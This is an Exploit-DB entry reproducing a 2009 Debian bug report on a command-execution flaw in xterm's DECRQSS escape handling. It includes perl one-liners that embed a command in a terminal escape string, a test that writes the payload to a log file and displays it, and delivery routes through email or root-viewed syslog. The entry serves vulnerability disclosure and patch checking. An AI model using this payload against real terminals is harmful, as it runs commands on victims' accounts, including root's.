Debian XTERM - 'DECRQSS/comments' Code Execution

EDB-ID:

7681

CVE:

N/A


Author:

Paul Szabo

Type:

local


Platform:

Linux

Date:

2009-01-06


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Package: xterm
Version: 222-1etch2
Severity: grave
Tags: security patch
Justification: user security hole


DECRQSS Device Control Request Status String "DCS $ q" simply echoes
(responds with) invalid commands. For example,
perl -e 'print "\eP\$q\nbad-command\n\e\\"'
would run bad-command.

Exploitability is the same as for the "window title reporting" issue
in DSA-380: include the DCS string in an email message to the victim,
or arrange to have it in syslog to be viewed by root.

Original:
http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=510030

Test:

perl -e 'print "\eP\$q\nwhoami\n\e\\"' > bla.log
cat bla.log

If whoami gets executed you should update. 

# milw0rm.com [2009-01-06]